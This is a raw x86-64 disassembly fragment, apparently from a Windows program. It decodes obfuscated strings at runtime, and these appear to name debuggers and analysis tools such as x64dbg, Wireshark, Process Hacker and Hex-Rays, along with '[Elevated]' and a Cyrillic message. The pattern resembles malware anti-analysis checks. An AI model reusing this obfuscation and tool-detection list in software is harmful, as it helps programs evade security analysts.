mov rsi, rbx
mov rdx, rsi
lea rcx, [rsp + 0x5d]
call fcn.140063560
movzx edx, byte [rax]
lea rcx, [rsp + 0x5c]
call fcn.140063330
movzx edi, al
mov rdx, rsi
lea rcx, [rsp + 0x5d]
call fcn.140063560
mov byte [rax], dil
inc rsi
cmp rsi, 3
jb 0x14003f5d0
mov edx, 3
lea rcx, [rsp + 0x5d]
call fcn.140063560
mov byte [rax], 0
lea rcx, [rsp + 0x5d]
call fcn.140063550
mov rdx, rax
lea rcx, [rbp + 0xf70]
call fcn.140027c60
nop
mov byte [rbp + 0xd8], 1
mov dl, 0x5b
lea rcx, [rbp + 0xd8]
call fcn.140063330
mov byte [rbp + 0xd9], al
mov dl, 0x45
lea rcx, [rbp + 0xd8]
call fcn.140063330
mov byte [rbp + 0xda], al
mov dl, 0x6c
lea rcx, [rbp + 0xd8]
call fcn.140063330
mov byte [rbp + 0xdb], al
mov dl, 0x65
lea rcx, [rbp + 0xd8]
call fcn.140063330
mov byte [rbp + 0xdc], al
mov dl, 0x76
lea rcx, [rbp + 0xd8]
call fcn.140063330
mov byte [rbp + 0xdd], al
mov dl, 0x61
lea rcx, [rbp + 0xd8]
call fcn.140063330
mov byte [rbp + 0xde], al
mov dl, 0x74
lea rcx, [rbp + 0xd8]
call fcn.140063330
mov byte [rbp + 0xdf], al
mov dl, 0x65
lea rcx, [rbp + 0xd8]
call fcn.140063330
mov byte [rbp + 0xe0], al
mov dl, 0x64
lea rcx, [rbp + 0xd8]
call fcn.140063330
mov byte [rbp + 0xe1], al
mov dl, 0x5d
lea rcx, [rbp + 0xd8]
call fcn.140063330
mov byte [rbp + 0xe2], al
xor eax, eax
mov byte [rbp + 0xe3], al
mov rsi, rbx
nop dword [rax]
mov rdx, rsi
lea rcx, [rbp + 0xd9]
call fcn.140063560
movzx edx, byte [rax]
lea rcx, [rbp + 0xd8]
call fcn.140063330
movzx edi, al
mov rdx, rsi
lea rcx, [rbp + 0xd9]
call fcn.140063560
mov byte [rax], dil
inc rsi
cmp rsi, 0xa
jb 0x14003f710
mov edx, 0xa
lea rcx, [rbp + 0xd9]
call fcn.140063560
mov byte [rax], 0
lea rcx, [rbp + 0xd9]
call fcn.140063550
mov rdx, rax
lea rcx, [rbp + 0xf90]
call fcn.140027c60
nop
mov byte [rsp + 0x74], 1
mov dl, 0x52
lea rcx, [rsp + 0x74]
call fcn.140063330
mov byte [rsp + 0x75], al
mov dl, 0x45
lea rcx, [rsp + 0x74]
call fcn.140063330
mov byte [rsp + 0x76], al
mov dl, 0x53
lea rcx, [rsp + 0x74]
call fcn.140063330
mov byte [rsp + 0x77], al
mov dl, 0x54
lea rcx, [rsp + 0x74]
call fcn.140063330
mov byte [rsp + 0x78], al
xor eax, eax
mov byte [rsp + 0x79], al
mov rsi, rbx
nop word [rax + rax]
mov rdx, rsi
lea rcx, [rsp + 0x75]
call fcn.140063560
movzx edx, byte [rax]
lea rcx, [rsp + 0x74]
call fcn.140063330
movzx edi, al
mov rdx, rsi
lea rcx, [rsp + 0x75]
call fcn.140063560
mov byte [rax], dil
inc rsi
cmp rsi, 4
jb 0x14003f7d0
mov edx, 4
lea rcx, [rsp + 0x75]
call fcn.140063560
mov byte [rax], 0
lea rcx, [rsp + 0x75]
call fcn.140063550
mov rdx, rax
lea rcx, [rbp + 0xfb0]
call fcn.140027c60
nop
mov byte [rbp - 0x54], 0xc
mov dl, 0x44
lea rcx, [rbp - 0x54]
call fcn.140063330
mov byte [rbp - 0x53], al
mov dl, 0x65
lea rcx, [rbp - 0x54]
call fcn.140063330
mov byte [rbp - 0x52], al
mov dl, 0x62
lea rcx, [rbp - 0x54]
call fcn.140063330
mov byte [rbp - 0x51], al
mov dl, 0x75
lea rcx, [rbp - 0x54]
call fcn.140063330
mov byte [rbp - 0x50], al
mov dl, 0x67
lea rcx, [rbp - 0x54]
call fcn.140063330
mov byte [rbp - 0x4f], al
xor eax, eax
mov byte [rbp - 0x4e], al
mov rsi, rbx
mov rdx, rsi
lea rcx, [rbp - 0x53]
call fcn.140063560
movzx edx, byte [rax]
lea rcx, [rbp - 0x54]
call fcn.140063330
movzx edi, al
mov rdx, rsi
lea rcx, [rbp - 0x53]
call fcn.140063560
mov byte [rax], dil
inc rsi
cmp rsi, 5
jb 0x14003f884
mov edx, 5
lea rcx, [rbp - 0x53]
call fcn.140063560
mov byte [rax], 0
lea rcx, [rbp - 0x53]
call fcn.140063550
mov rdx, rax
lea rcx, [rbp + 0xfd0]
call fcn.140027c60
nop
mov byte [rbp + 0xf8], 0x47
mov dl, 0x45
lea rcx, [rbp + 0xf8]
call fcn.140063330
mov byte [rbp + 0xf9], al
mov dl, 0x6d
lea rcx, [rbp + 0xf8]
call fcn.140063330
mov byte [rbp + 0xfa], al
mov dl, 0x62
lea rcx, [rbp + 0xf8]
call fcn.140063330
mov byte [rbp + 0xfb], al
mov dl, 0x61
lea rcx, [rbp + 0xf8]
call fcn.140063330
mov byte [rbp + 0xfc], al
mov dl, 0x72
lea rcx, [rbp + 0xf8]
call fcn.140063330
mov byte [rbp + 0xfd], al
mov dl, 0x63
lea rcx, [rbp + 0xf8]
call fcn.140063330
mov byte [rbp + 0xfe], al
mov dl, 0x61
lea rcx, [rbp + 0xf8]
call fcn.140063330
mov byte [rbp + 0xff], al
mov dl, 0x64
lea rcx, [rbp + 0xf8]
call fcn.140063330
mov byte [rbp + 0x100], al
mov dl, 0x65
lea rcx, [rbp + 0xf8]
call fcn.140063330
mov byte [rbp + 0x101], al
mov dl, 0x72
lea rcx, [rbp + 0xf8]
call fcn.140063330
mov byte [rbp + 0x102], al
mov dl, 0x6f
lea rcx, [rbp + 0xf8]
call fcn.140063330
mov byte [rbp + 0x103], al
xor eax, eax
mov byte [rbp + 0x104], al
mov rsi, rbx
nop
mov rdx, rsi
lea rcx, [rbp + 0xf9]
call fcn.140063560
movzx edx, byte [rax]
lea rcx, [rbp + 0xf8]
call fcn.140063330
movzx edi, al
mov rdx, rsi
lea rcx, [rbp + 0xf9]
call fcn.140063560
mov byte [rax], dil
inc rsi
cmp rsi, 0xb
jb 0x14003f9d0
mov edx, 0xb
lea rcx, [rbp + 0xf9]
call fcn.140063560
mov byte [rax], 0
lea rcx, [rbp + 0xf9]
call fcn.140063550
mov rdx, rax
lea rcx, [rbp + 0xff0]
call fcn.140027c60
nop
mov byte [rbp + 0x68], 0x59
mov dl, 0x57
lea rcx, [rbp + 0x68]
call fcn.140063330
mov byte [rbp + 0x69], al
mov dl, 0x69
lea rcx, [rbp + 0x68]
call fcn.140063330
mov byte [rbp + 0x6a], al
mov dl, 0x72
lea rcx, [rbp + 0x68]
call fcn.140063330
mov byte [rbp + 0x6b], al
mov dl, 0x65
lea rcx, [rbp + 0x68]
call fcn.140063330
mov byte [rbp + 0x6c], al
mov dl, 0x73
lea rcx, [rbp + 0x68]
call fcn.140063330
mov byte [rbp + 0x6d], al
mov dl, 0x68
lea rcx, [rbp + 0x68]
call fcn.140063330
mov byte [rbp + 0x6e], al
mov dl, 0x61
lea rcx, [rbp + 0x68]
call fcn.140063330
mov byte [rbp + 0x6f], al
mov dl, 0x72
lea rcx, [rbp + 0x68]
call fcn.140063330
mov byte [rbp + 0x70], al
mov dl, 0x6b
lea rcx, [rbp + 0x68]
call fcn.140063330
mov byte [rbp + 0x71], al
xor eax, eax
mov byte [rbp + 0x72], al
mov rsi, rbx
nop word [rax + rax]
mov rdx, rsi
lea rcx, [rbp + 0x69]
call fcn.140063560
movzx edx, byte [rax]
lea rcx, [rbp + 0x68]
call fcn.140063330
movzx edi, al
mov rdx, rsi
lea rcx, [rbp + 0x69]
call fcn.140063560
mov byte [rax], dil
inc rsi
cmp rsi, 9
jb 0x14003fad0
mov edx, 9
lea rcx, [rbp + 0x69]
call fcn.140063560
mov byte [rax], 0
lea rcx, [rbp + 0x69]
call fcn.140063550
mov rdx, rax
lea rcx, [rbp + 0x1010]
call fcn.140027c60
nop
mov byte [rbp + 0x1a8], 0x3f
mov dl, 0x44
lea rcx, [rbp + 0x1a8]
call fcn.140063330
mov byte [rbp + 0x1a9], al
mov dl, 0x65
lea rcx, [rbp + 0x1a8]
call fcn.140063330
mov byte [rbp + 0x1aa], al
mov dl, 0x74
lea rcx, [rbp + 0x1a8]
call fcn.140063330
mov byte [rbp + 0x1ab], al
mov dl, 0x65
lea rcx, [rbp + 0x1a8]
call fcn.140063330
mov byte [rbp + 0x1ac], al
mov dl, 0x63
lea rcx, [rbp + 0x1a8]
call fcn.140063330
mov byte [rbp + 0x1ad], al
mov dl, 0x74
lea rcx, [rbp + 0x1a8]
call fcn.140063330
mov byte [rbp + 0x1ae], al
mov dl, 0x20
lea rcx, [rbp + 0x1a8]
call fcn.140063330
mov byte [rbp + 0x1af], al
mov dl, 0x49
lea rcx, [rbp + 0x1a8]
call fcn.140063330
mov byte [rbp + 0x1b0], al
mov dl, 0x74
lea rcx, [rbp + 0x1a8]
call fcn.140063330
mov byte [rbp + 0x1b1], al
mov dl, 0x20
lea rcx, [rbp + 0x1a8]
call fcn.140063330
mov byte [rbp + 0x1b2], al
mov dl, 0x45
lea rcx, [rbp + 0x1a8]
call fcn.140063330
mov byte [rbp + 0x1b3], al
mov dl, 0x61
lea rcx, [rbp + 0x1a8]
call fcn.140063330
mov byte [rbp + 0x1b4], al
mov dl, 0x73
lea rcx, [rbp + 0x1a8]
call fcn.140063330
mov byte [rbp + 0x1b5], al
mov dl, 0x79
lea rcx, [rbp + 0x1a8]
call fcn.140063330
mov byte [rbp + 0x1b6], al
xor eax, eax
mov byte [rbp + 0x1b7], al
mov rsi, rbx
nop word [rax + rax]
mov rdx, rsi
lea rcx, [rbp + 0x1a9]
call fcn.140063560
movzx edx, byte [rax]
lea rcx, [rbp + 0x1a8]
call fcn.140063330
movzx edi, al
mov rdx, rsi
lea rcx, [rbp + 0x1a9]
call fcn.140063560
mov byte [rax], dil
inc rsi
cmp rsi, 0xe
jb 0x14003fc60
mov edx, 0xe
lea rcx, [rbp + 0x1a9]
call fcn.140063560
mov byte [rax], 0
lea rcx, [rbp + 0x1a9]
call fcn.140063550
mov rdx, rax
lea rcx, [rbp + 0x1030]
call fcn.140027c60
nop
mov byte [rsp + 0x7c], 0x40
mov dl, 0x48
lea rcx, [rsp + 0x7c]
call fcn.140063330
mov byte [rsp + 0x7d], al
mov dl, 0x54
lea rcx, [rsp + 0x7c]
call fcn.140063330
mov byte [rsp + 0x7e], al
mov dl, 0x54
lea rcx, [rsp + 0x7c]
call fcn.140063330
mov byte [rsp + 0x7f], al
mov dl, 0x50
lea rcx, [rsp + 0x7c]
call fcn.140063330
mov byte [rbp - 0x80], al
xor eax, eax
mov byte [rbp - 0x7f], al
mov rsi, rbx
nop dword [rax + rax]
mov rdx, rsi
lea rcx, [rsp + 0x7d]
call fcn.140063560
movzx edx, byte [rax]
lea rcx, [rsp + 0x7c]
call fcn.140063330
movzx edi, al
mov rdx, rsi
lea rcx, [rsp + 0x7d]
call fcn.140063560
mov byte [rax], dil
inc rsi
cmp rsi, 4
jb 0x14003fd20
mov edx, 4
lea rcx, [rsp + 0x7d]
call fcn.140063560
mov byte [rax], 0
lea rcx, [rsp + 0x7d]
call fcn.140063550
mov rdx, rax
lea rcx, [rbp + 0x1050]
call fcn.140027c60
nop
mov byte [rbp + 8], 0x76
mov dl, 0x43
lea rcx, [rbp + 8]
call fcn.140063330
mov byte [rbp + 9], al
mov dl, 0x68
lea rcx, [rbp + 8]
call fcn.140063330
mov byte [rbp + 0xa], al
mov dl, 0x61
lea rcx, [rbp + 8]
call fcn.140063330
mov byte [rbp + 0xb], al
mov dl, 0x72
lea rcx, [rbp + 8]
call fcn.140063330
mov byte [rbp + 0xc], al
mov dl, 0x6c
lea rcx, [rbp + 8]
call fcn.140063330
mov byte [rbp + 0xd], al
mov dl, 0x65
lea rcx, [rbp + 8]
call fcn.140063330
mov byte [rbp + 0xe], al
mov dl, 0x73
lea rcx, [rbp + 8]
call fcn.140063330
mov byte [rbp + 0xf], al
xor eax, eax
mov byte [rbp + 0x10], al
mov rsi, rbx
mov rdx, rsi
lea rcx, [rbp + 9]
call fcn.140063560
movzx edx, byte [rax]
lea rcx, [rbp + 8]
call fcn.140063330
movzx edi, al
mov rdx, rsi
lea rcx, [rbp + 9]
call fcn.140063560
mov byte [rax], dil
inc rsi
cmp rsi, 7
jb 0x14003fdf0
mov edx, 7
lea rcx, [rbp + 9]
call fcn.140063560
mov byte [rax], 0
lea rcx, [rbp + 9]
call fcn.140063550
mov rdx, rax
lea rcx, [rbp + 0x1070]
call fcn.140027c60
nop
mov byte [rbp + 0x38], 0x63
mov dl, 0x48
lea rcx, [rbp + 0x38]
call fcn.140063330
mov byte [rbp + 0x39], al
mov dl, 0x65
lea rcx, [rbp + 0x38]
call fcn.140063330
mov byte [rbp + 0x3a], al
mov dl, 0x78
lea rcx, [rbp + 0x38]
call fcn.140063330
mov byte [rbp + 0x3b], al
mov dl, 0x2d
lea rcx, [rbp + 0x38]
call fcn.140063330
mov byte [rbp + 0x3c], al
mov dl, 0x52
lea rcx, [rbp + 0x38]
call fcn.140063330
mov byte [rbp + 0x3d], al
mov dl, 0x61
lea rcx, [rbp + 0x38]
call fcn.140063330
mov byte [rbp + 0x3e], al
mov dl, 0x79
lea rcx, [rbp + 0x38]
call fcn.140063330
mov byte [rbp + 0x3f], al
mov dl, 0x73
lea rcx, [rbp + 0x38]
call fcn.140063330
mov byte [rbp + 0x40], al
xor eax, eax
mov byte [rbp + 0x41], al
mov rsi, rbx
nop dword [rax]
mov rdx, rsi
lea rcx, [rbp + 0x39]
call fcn.140063560
movzx edx, byte [rax]
lea rcx, [rbp + 0x38]
call fcn.140063330
movzx edi, al
mov rdx, rsi
lea rcx, [rbp + 0x39]
call fcn.140063560
mov byte [rax], dil
inc rsi
cmp rsi, 8
jb 0x14003fed0
mov edx, 8
lea rcx, [rbp + 0x39]
call fcn.140063560
mov byte [rax], 0
lea rcx, [rbp + 0x39]
call fcn.140063550
mov rdx, rax
lea rcx, [rbp + 0x1090]
call fcn.140027c60
nop
mov byte [rbp - 0x7c], 0x1a
mov dl, 0x6c
lea rcx, [rbp - 0x7c]
call fcn.140063330
mov byte [rbp - 0x7b], al
mov dl, 0x6c
lea rcx, [rbp - 0x7c]
call fcn.140063330
mov byte [rbp - 0x7a], al
mov dl, 0x64
lea rcx, [rbp - 0x7c]
call fcn.140063330
mov byte [rbp - 0x79], al
mov dl, 0x62
lea rcx, [rbp - 0x7c]
call fcn.140063330
mov byte [rbp - 0x78], al
xor eax, eax
mov byte [rbp - 0x77], al
mov rsi, rbx
mov rdx, rsi
lea rcx, [rbp - 0x7b]
call fcn.140063560
movzx edx, byte [rax]
lea rcx, [rbp - 0x7c]
call fcn.140063330
movzx edi, al
mov rdx, rsi
lea rcx, [rbp - 0x7b]
call fcn.140063560
mov byte [rax], dil
inc rsi
cmp rsi, 4
jb 0x14003ff71
mov edx, 4
lea rcx, [rbp - 0x7b]
call fcn.140063560
mov byte [rax], 0
lea rcx, [rbp - 0x7b]
call fcn.140063550
mov rdx, rax
lea rcx, [rbp + 0x10b0]
call fcn.140027c60
nop
mov byte [rbp + 0x138], 0x2c
mov dl, 0x44
lea rcx, [rbp + 0x138]
call fcn.140063330
mov byte [rbp + 0x139], al
mov dl, 0x69
lea rcx, [rbp + 0x138]
call fcn.140063330
mov byte [rbp + 0x13a], al
mov dl, 0x73
lea rcx, [rbp + 0x138]
call fcn.140063330
mov byte [rbp + 0x13b], al
mov dl, 0x61
lea rcx, [rbp + 0x138]
call fcn.140063330
mov byte [rbp + 0x13c], al
mov dl, 0x73
lea rcx, [rbp + 0x138]
call fcn.140063330
mov byte [rbp + 0x13d], al
mov dl, 0x73
lea rcx, [rbp + 0x138]
call fcn.140063330
mov byte [rbp + 0x13e], al
mov dl, 0x65
lea rcx, [rbp + 0x138]
call fcn.140063330
mov byte [rbp + 0x13f], al
mov dl, 0x6d
lea rcx, [rbp + 0x138]
call fcn.140063330
mov byte [rbp + 0x140], al
mov dl, 0x62
lea rcx, [rbp + 0x138]
call fcn.140063330
mov byte [rbp + 0x141], al
mov dl, 0x6c
lea rcx, [rbp + 0x138]
call fcn.140063330
mov byte [rbp + 0x142], al
mov dl, 0x65
lea rcx, [rbp + 0x138]
call fcn.140063330
mov byte [rbp + 0x143], al
mov dl, 0x72
lea rcx, [rbp + 0x138]
call fcn.140063330
mov byte [rbp + 0x144], al
xor eax, eax
mov byte [rbp + 0x145], al
mov rsi, rbx
mov rdx, rsi
lea rcx, [rbp + 0x139]
call fcn.140063560
movzx edx, byte [rax]
lea rcx, [rbp + 0x138]
call fcn.140063330
movzx edi, al
mov rdx, rsi
lea rcx, [rbp + 0x139]
call fcn.140063560
mov byte [rax], dil
inc rsi
cmp rsi, 0xc
jb 0x1400400d0
mov edx, 0xc
lea rcx, [rbp + 0x139]
call fcn.140063560
mov byte [rax], 0
lea rcx, [rbp + 0x139]
call fcn.140063550
mov rdx, rax
lea rcx, [rbp + 0x10d0]
call fcn.140027c60
nop
mov byte [rbp + 0x108], 0x79
mov dl, 0x43
lea rcx, [rbp + 0x108]
call fcn.140063330
mov byte [rbp + 0x109], al
mov dl, 0x6f
lea rcx, [rbp + 0x108]
call fcn.140063330
mov byte [rbp + 0x10a], al
mov dl, 0x64
lea rcx, [rbp + 0x108]
call fcn.140063330
mov byte [rbp + 0x10b], al
mov dl, 0x65
lea rcx, [rbp + 0x108]
call fcn.140063330
mov byte [rbp + 0x10c], al
mov dl, 0x42
lea rcx, [rbp + 0x108]
call fcn.140063330
mov byte [rbp + 0x10d], al
mov dl, 0x72
lea rcx, [rbp + 0x108]
call fcn.140063330
mov byte [rbp + 0x10e], al
mov dl, 0x6f
lea rcx, [rbp + 0x108]
call fcn.140063330
mov byte [rbp + 0x10f], al
mov dl, 0x77
lea rcx, [rbp + 0x108]
call fcn.140063330
mov byte [rbp + 0x110], al
mov dl, 0x73
lea rcx, [rbp + 0x108]
call fcn.140063330
mov byte [rbp + 0x111], al
mov dl, 0x65
lea rcx, [rbp + 0x108]
call fcn.140063330
mov byte [rbp + 0x112], al
mov dl, 0x72
lea rcx, [rbp + 0x108]
call fcn.140063330
mov byte [rbp + 0x113], al
xor eax, eax
mov byte [rbp + 0x114], al
mov rsi, rbx
nop word [rax + rax]
mov rdx, rsi
lea rcx, [rbp + 0x109]
call fcn.140063560
movzx edx, byte [rax]
lea rcx, [rbp + 0x108]
call fcn.140063330
movzx edi, al
mov rdx, rsi
lea rcx, [rbp + 0x109]
call fcn.140063560
mov byte [rax], dil
inc rsi
cmp rsi, 0xb
jb 0x140040230
mov edx, 0xb
lea rcx, [rbp + 0x109]
call fcn.140063560
mov byte [rax], 0
lea rcx, [rbp + 0x109]
call fcn.140063550
mov rdx, rax
lea rcx, [rbp + 0x10f0]
call fcn.140027c60
nop
mov byte [rbp + 0x1b8], 0x7c
mov dl, 0x50
lea rcx, [rbp + 0x1b8]
call fcn.140063330
mov byte [rbp + 0x1b9], al
mov dl, 0x72
lea rcx, [rbp + 0x1b8]
call fcn.140063330
mov byte [rbp + 0x1ba], al
mov dl, 0x6f
lea rcx, [rbp + 0x1b8]
call fcn.140063330
mov byte [rbp + 0x1bb], al
mov dl, 0x63
lea rcx, [rbp + 0x1b8]
call fcn.140063330
mov byte [rbp + 0x1bc], al
mov dl, 0x65
lea rcx, [rbp + 0x1b8]
call fcn.140063330
mov byte [rbp + 0x1bd], al
mov dl, 0x73
lea rcx, [rbp + 0x1b8]
call fcn.140063330
mov byte [rbp + 0x1be], al
mov dl, 0x73
lea rcx, [rbp + 0x1b8]
call fcn.140063330
mov byte [rbp + 0x1bf], al
mov dl, 0x20
lea rcx, [rbp + 0x1b8]
call fcn.140063330
mov byte [rbp + 0x1c0], al
mov dl, 0x48
lea rcx, [rbp + 0x1b8]
call fcn.140063330
mov byte [rbp + 0x1c1], al
mov dl, 0x61
lea rcx, [rbp + 0x1b8]
call fcn.140063330
mov byte [rbp + 0x1c2], al
mov dl, 0x63
lea rcx, [rbp + 0x1b8]
call fcn.140063330
mov byte [rbp + 0x1c3], al
mov dl, 0x6b
lea rcx, [rbp + 0x1b8]
call fcn.140063330
mov byte [rbp + 0x1c4], al
mov dl, 0x65
lea rcx, [rbp + 0x1b8]
call fcn.140063330
mov byte [rbp + 0x1c5], al
mov dl, 0x72
lea rcx, [rbp + 0x1b8]
call fcn.140063330
mov byte [rbp + 0x1c6], al
xor eax, eax
mov byte [rbp + 0x1c7], al
mov rsi, rbx
nop word [rax + rax]
mov rdx, rsi
lea rcx, [rbp + 0x1b9]
call fcn.140063560
movzx edx, byte [rax]
lea rcx, [rbp + 0x1b8]
call fcn.140063330
movzx edi, al
mov rdx, rsi
lea rcx, [rbp + 0x1b9]
call fcn.140063560
mov byte [rax], dil
inc rsi
cmp rsi, 0xe
jb 0x1400403d0
mov edx, 0xe
lea rcx, [rbp + 0x1b9]
call fcn.140063560
mov byte [rax], 0
lea rcx, [rbp + 0x1b9]
call fcn.140063550
mov rdx, rax
lea rcx, [rbp + 0x1110]
call fcn.140027c60
nop
mov byte [rbp - 0x10], 0x5c
mov dl, 0x78
lea rcx, [rbp - 0x10]
call fcn.140063330
mov byte [rbp - 0xf], al
mov dl, 0x33
lea rcx, [rbp - 0x10]
call fcn.140063330
mov byte [rbp - 0xe], al
mov dl, 0x32
lea rcx, [rbp - 0x10]
call fcn.140063330
mov byte [rbp - 0xd], al
mov dl, 0x64
lea rcx, [rbp - 0x10]
call fcn.140063330
mov byte [rbp - 0xc], al
mov dl, 0x62
lea rcx, [rbp - 0x10]
call fcn.140063330
mov byte [rbp - 0xb], al
mov dl, 0x67
lea rcx, [rbp - 0x10]
call fcn.140063330
mov byte [rbp - 0xa], al
xor eax, eax
mov byte [rbp - 9], al
mov rsi, rbx
nop dword [rax]
mov rdx, rsi
lea rcx, [rbp - 0xf]
call fcn.140063560
movzx edx, byte [rax]
lea rcx, [rbp - 0x10]
call fcn.140063330
movzx edi, al
mov rdx, rsi
lea rcx, [rbp - 0xf]
call fcn.140063560
mov byte [rax], dil
inc rsi
cmp rsi, 6
jb 0x1400404a0
mov edx, 6
lea rcx, [rbp - 0xf]
call fcn.140063560
mov byte [rax], 0
lea rcx, [rbp - 0xf]
call fcn.140063550
mov rdx, rax
lea rcx, [rbp + 0x1130]
call fcn.140027c60
nop
mov byte [rbp - 8], 2
mov dl, 0x78
lea rcx, [rbp - 8]
call fcn.140063330
mov byte [rbp - 7], al
mov dl, 0x36
lea rcx, [rbp - 8]
call fcn.140063330
mov byte [rbp - 6], al
mov dl, 0x34
lea rcx, [rbp - 8]
call fcn.140063330
mov byte [rbp - 5], al
mov dl, 0x64
lea rcx, [rbp - 8]
call fcn.140063330
mov byte [rbp - 4], al
mov dl, 0x62
lea rcx, [rbp - 8]
call fcn.140063330
mov byte [rbp - 3], al
mov dl, 0x67
lea rcx, [rbp - 8]
call fcn.140063330
mov byte [rbp - 2], al
xor eax, eax
mov byte [rbp - 1], al
mov rsi, rbx
nop dword [rax]
mov rdx, rsi
lea rcx, [rbp - 7]
call fcn.140063560
movzx edx, byte [rax]
lea rcx, [rbp - 8]
call fcn.140063330
movzx edi, al
mov rdx, rsi
lea rcx, [rbp - 7]
call fcn.140063560
mov byte [rax], dil
inc rsi
cmp rsi, 6
jb 0x140040560
mov edx, 6
lea rcx, [rbp - 7]
call fcn.140063560
mov byte [rax], 0
lea rcx, [rbp - 7]
call fcn.140063550
mov rdx, rax
lea rcx, [rbp + 0x1150]
call fcn.140027c60
nop
mov byte [rbp], 0x49
mov dl, 0x53
lea rcx, [rbp]
call fcn.140063330
mov byte [rbp + 1], al
mov dl, 0x63
lea rcx, [rbp]
call fcn.140063330
mov byte [rbp + 2], al
mov dl, 0x79
lea rcx, [rbp]
call fcn.140063330
mov byte [rbp + 3], al
mov dl, 0x6c
lea rcx, [rbp]
call fcn.140063330
mov byte [rbp + 4], al
mov dl, 0x6c
lea rcx, [rbp]
call fcn.140063330
mov byte [rbp + 5], al
mov dl, 0x61
lea rcx, [rbp]
call fcn.140063330
mov byte [rbp + 6], al
xor eax, eax
mov byte [rbp + 7], al
mov rsi, rbx
nop dword [rax]
mov rdx, rsi
lea rcx, [rbp + 1]
call fcn.140063560
movzx edx, byte [rax]
lea rcx, [rbp]
call fcn.140063330
movzx edi, al
mov rdx, rsi
lea rcx, [rbp + 1]
call fcn.140063560
mov byte [rax], dil
inc rsi
cmp rsi, 6
jb 0x140040620
mov edx, 6
lea rcx, [rbp + 1]
call fcn.140063560
mov byte [rax], 0
lea rcx, [rbp + 1]
call fcn.140063550
mov rdx, rax
lea rcx, [rbp + 0x1170]
call fcn.140027c60
nop
mov byte [rbp + 0x3a8], 0x4b
mov dl, 0xd3
lea rcx, [rbp + 0x3a8]
call fcn.140063330
mov byte [rbp + 0x3a9], al
mov dl, 0xf1
lea rcx, [rbp + 0x3a8]
call fcn.140063330
mov byte [rbp + 0x3aa], al
mov dl, 0xf2
lea rcx, [rbp + 0x3a8]
call fcn.140063330
mov byte [rbp + 0x3ab], al
mov dl, 0xe0
lea rcx, [rbp + 0x3a8]
call fcn.140063330
mov byte [rbp + 0x3ac], al
mov dl, 0xed
lea rcx, [rbp + 0x3a8]
call fcn.140063330
mov byte [rbp + 0x3ad], al
mov dl, 0xee
lea rcx, [rbp + 0x3a8]
call fcn.140063330
mov byte [rbp + 0x3ae], al
mov dl, 0xe2
lea rcx, [rbp + 0x3a8]
call fcn.140063330
mov byte [rbp + 0x3af], al
mov dl, 0xe8
lea rcx, [rbp + 0x3a8]
call fcn.140063330
mov byte [rbp + 0x3b0], al
mov dl, 0xf2
lea rcx, [rbp + 0x3a8]
call fcn.140063330
mov byte [rbp + 0x3b1], al
mov dl, 0xfc
lea rcx, [rbp + 0x3a8]
call fcn.140063330
mov byte [rbp + 0x3b2], al
mov dl, 0x20
lea rcx, [rbp + 0x3a8]
call fcn.140063330
mov byte [rbp + 0x3b3], al
mov dl, 0xe8
lea rcx, [rbp + 0x3a8]
call fcn.140063330
mov byte [rbp + 0x3b4], al
mov dl, 0x20
lea rcx, [rbp + 0x3a8]
call fcn.140063330
mov byte [rbp + 0x3b5], al
mov dl, 0xf1
lea rcx, [rbp + 0x3a8]
call fcn.140063330
mov byte [rbp + 0x3b6], al
mov dl, 0xeb
lea rcx, [rbp + 0x3a8]
call fcn.140063330
mov byte [rbp + 0x3b7], al
mov dl, 0xe5
lea rcx, [rbp + 0x3a8]
call fcn.140063330
mov byte [rbp + 0x3b8], al
mov dl, 0xe4
lea rcx, [rbp + 0x3a8]
call fcn.140063330
mov byte [rbp + 0x3b9], al
mov dl, 0xe8
lea rcx, [rbp + 0x3a8]
call fcn.140063330
mov byte [rbp + 0x3ba], al
mov dl, 0xf2
lea rcx, [rbp + 0x3a8]
call fcn.140063330
mov byte [rbp + 0x3bb], al
mov dl, 0xfc
lea rcx, [rbp + 0x3a8]
call fcn.140063330
mov byte [rbp + 0x3bc], al
mov dl, 0x20
lea rcx, [rbp + 0x3a8]
call fcn.140063330
mov byte [rbp + 0x3bd], al
mov dl, 0xe7
lea rcx, [rbp + 0x3a8]
call fcn.140063330
mov byte [rbp + 0x3be], al
mov dl, 0xe0
lea rcx, [rbp + 0x3a8]
call fcn.140063330
mov byte [rbp + 0x3bf], al
mov dl, 0x20
lea rcx, [rbp + 0x3a8]
call fcn.140063330
mov byte [rbp + 0x3c0], al
mov dl, 0xef
lea rcx, [rbp + 0x3a8]
call fcn.140063330
mov byte [rbp + 0x3c1], al
mov dl, 0xf0
lea rcx, [rbp + 0x3a8]
call fcn.140063330
mov byte [rbp + 0x3c2], al
mov dl, 0xee
lea rcx, [rbp + 0x3a8]
call fcn.140063330
mov byte [rbp + 0x3c3], al
mov dl, 0xe3
lea rcx, [rbp + 0x3a8]
call fcn.140063330
mov byte [rbp + 0x3c4], al
mov dl, 0xf0
lea rcx, [rbp + 0x3a8]
call fcn.140063330
mov byte [rbp + 0x3c5], al
mov dl, 0xe0
lea rcx, [rbp + 0x3a8]
call fcn.140063330
mov byte [rbp + 0x3c6], al
mov dl, 0xec
lea rcx, [rbp + 0x3a8]
call fcn.140063330
mov byte [rbp + 0x3c7], al
mov dl, 0xec
lea rcx, [rbp + 0x3a8]
call fcn.140063330
mov byte [rbp + 0x3c8], al
mov dl, 0xee
lea rcx, [rbp + 0x3a8]
call fcn.140063330
mov byte [rbp + 0x3c9], al
mov dl, 0xe9
lea rcx, [rbp + 0x3a8]
call fcn.140063330
mov byte [rbp + 0x3ca], al
xor eax, eax
mov byte [rbp + 0x3cb], al
mov rsi, rbx
nop word [rax + rax]
mov rdx, rsi
lea rcx, [rbp + 0x3a9]
call fcn.140063560
movzx edx, byte [rax]
lea rcx, [rbp + 0x3a8]
call fcn.140063330
movzx edi, al
mov rdx, rsi
lea rcx, [rbp + 0x3a9]
call fcn.140063560
mov byte [rax], dil
inc rsi
cmp rsi, 0x22
jb 0x140040940
mov edx, 0x22
lea rcx, [rbp + 0x3a9]
call fcn.140063560
mov byte [rax], 0
lea rcx, [rbp + 0x3a9]
call fcn.140063550
mov rdx, rax
lea rcx, [rbp + 0x1190]
call fcn.140027c60
nop
mov byte [rbp + 0x1c8], 0x46
mov dl, 0x55
lea rcx, [rbp + 0x1c8]
call fcn.140063330
mov byte [rbp + 0x1c9], al
mov dl, 0x6e
lea rcx, [rbp + 0x1c8]
call fcn.140063330
mov byte [rbp + 0x1ca], al
mov dl, 0x69
lea rcx, [rbp + 0x1c8]
call fcn.140063330
mov byte [rbp + 0x1cb], al
mov dl, 0x6e
lea rcx, [rbp + 0x1c8]
call fcn.140063330
